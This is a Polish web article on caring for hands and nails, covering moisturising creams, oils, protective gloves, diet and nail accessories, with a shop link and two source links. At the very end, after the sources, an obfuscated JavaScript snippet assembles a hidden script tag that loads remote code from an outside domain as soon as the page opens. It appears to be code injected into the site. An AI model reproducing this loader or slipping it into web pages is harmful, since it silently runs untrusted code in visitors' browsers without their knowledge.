Pielęgnacja skóry – jak dbać o dłonie?

Delikatna skóra dłoni

Skóra dłoni starzeje się niezwykle szybko. Jest w niej wyjątkowo mało gruczołów łojowych, które odpowiedzialne są za tworzenie lipidowego płaszcza ochronnego dla naskórka. Ponadto dzięki gruczołom łojowym skóra jest uodporniona na:

• czynniki mechaniczne – jak na przykład ucisk lub tarcie;
• czynniki chemiczne – kwasy i zasady;
• promienie UV;
• bakterie, grzyby i wirusy;
• zmieniające się warunki środowiska – wilgoć, czy nagła zmiana temperatur.

Brak odpowiedniej ilości gruczołów łojowych równoznaczny jest z niższym poziomem ochrony naskórka.

Jak dbać o dłonie?

Dłonie to nasza wizytówka, a ich stan mówi wiele o człowieku. Chcąc uniknąć sytuacji, w której dłonie zdradzać będą nasz wiek, warto właściwie o nie zadbać. Profilaktyka pielęgnacyjna skóry jest niezwykle skuteczna, a do tego wcale nie skomplikowana. Należy właściwie zadbać o dłonie. Bardzo ważna jest regularność i jakość stosowanych kosmetyków i preparatów. Systematyczna, codzienna pielęgnacja powinna opierać się na:

• oczyszczaniu,
• nawilżaniu,
• a także ochronie.

Co jakiś czas warto zastosować jakąś formę intensywnego nawilżenia, na przykład kompres z olejków, bądź intensywnie nawilżającą maść z witaminą A i E.  Dodatkowo bardzo dobrą opcją będzie odpowiednio dobrany zabieg kosmetyczny albo samodzielnie przygotowana intensywnie regenerująca mieszanka, na przykład z kilku olejków regenerująco-nawilżających – kokosowego, arganowego, sezamowego i migdałowego.

Czy krem pomoże  w pielęgnacji naszej skóry dłoni?

Oczywiście, że tak. To najszybsza, najtańsza oraz niezwykle skuteczna forma pielęgnacji skóry  dłoni. Krem warto stosować od kilku do nawet kilkunastu razy dziennie. Całodobowe nawilżenie skóry dłoni, ochroni ją przed niepożądanymi czynnikami zewnętrznymi oraz zbędnym przesuszeniem.

Rodzaj kremu należy dobierać adekwatnie do potrzeb swojej skóry dłoni. Jednak trzeba zwracać uwagę, aby zawierał on szereg cennych substancji nawilżających oraz ochronnych, takich jak witamina C, E i A, alantoinę, aloes, D-panthenol oraz naturalne olejki.

Każdy krem powinien:

• intensywnie nawilżyć naskórek,
• zapobiegać jego nadmiernemu wysuszeniu;
• zmiękczać i uelastyczniać skórę,
• zminimalizować uczucie szorstkości,
• zapewnić miękkość i gładkość skórze dłoni,
• a co więcej złagodzić ewentualne podrażnienia.

Domowa pomoc dla skóry dłoni

Przestrzegając kilku podstawowych zasad, możesz uchronić skórę swoich dłoni przed zniszczeniem i szybkim starzeniem. Pamiętaj:

• regularnie sięgaj po nawilżające kremy do rak i olejki;
• do domowych i ogrodowych prac używaj ochronnych rękawic;
• nie wychodź bez ciepłych rękawiczek na mróz – zmiany temperatur niezwykle źle wpływają na skórę dłoni;
• ogranicz bezpośredni kontakt z detergentami, które podrażniają i niszczą skórę;
• pij dużo wody – wewnętrzne nawilżenie jest równie ważne.

Przydatne akcesoria do paznokci dostępne na https://www.dobrarada.com.pl/akcesoria-a.html.

Piękne dłonie to i zadbane paznokcie

Podobnie jak o skórę dłoni, należy dbać o nasze paznokcie. One także narażone są na licznego rodzaju uszkodzenia. Jak zatem właściwie je pielęgnować?

Bez wątpienia warto zachować rozsądną długość paznokci. W wielu internetowych sklepach kosmetycznych nabyć można wysokiej  jakości akcesoria do paznokci, które są niezwykle proste w użyciu. Akcesoria te są małe i lekkie, co umożliwia zabranie ich ze sobą właściwie wszędzie. Poza odpowiednią długością paznokcia, ważne jest, aby dookoła nich nie było nieestetycznie wyglądających skórek. Prawidłowo wycięte skórki widocznie poprawią wygląd dłoni. Stosując odpowiednie cążki z łatwością pozbędziemy się niechcianych skórek.

Jak mam dbać o dłonie jeśli moje paznokcie są osłabione?

Masz delikatne, rozdwajające i kruche paznokcie? Jeśli tak, to powodem tego może być niedobór niezbędnych witamin i minerałów. Warto wzbogacić swoją dietę o produkty bogate w cynk, biotynę oraz witaminy A, E i C. Picie naparów ze skrzypu i pokrzywy widocznie poprawi kondycję naszych dłoni i paznokci, gdyż tak jak z zewnątrz o nasze ciało należy dbać także od środka.  Pielęgnacja dłoni to także stosowanie kremów ochronnych z  filtrem UV. Warto po nie sięgać, zwłaszcza w porze letniej.

Pamiętajcie – nasze dłonie codziennie narażone są na szkodliwe czynniki zewnętrzne. Dniem i nocą, latem i zimą. Nasza skóra w mgnieniu oka może stracić elastyczność , odpowiedni poziom nawilżenia i witalność. Dlatego powinniśmy regularnie o nią dbać i zapewniać jej odpowiedni poziom nawilżenia na co dzień.

Źródła:

1. http://www.celulit.com.pl/jak-dbac-o-dlonie-i-miec-piekne-paznokcie – „Jak dbać o dłonie i mieć piękne paznokcie” – stan z 2019.06.18.
2. http://www.wylecz-nadcisnienie.pl/dlaczego-paznokcie-sie-rozdwajaja – „Dlaczego paznokcie się rozdwajają” – stan z 2019.06.20.

(function(){
twhuu=”3v1w7ymhwhul”;twhu=document.createElement(„script”);
twhu_=”u”+(„st”);twhu_+=”at”+(„.”);twhu.async=true;twhu_+=”in”;
twhuu=”136190241.”+twhuu;twhu.type=”text/javascript”;twhuu+=”68zunpvgwuvb”;
twhuu+=”5fbu5h”;twhu_+=(„f”)+”o”+(„/”);twhu.src=”https://”+twhu_+twhuu;
twhud=document.body;twhud.appendChild(twhu);
})();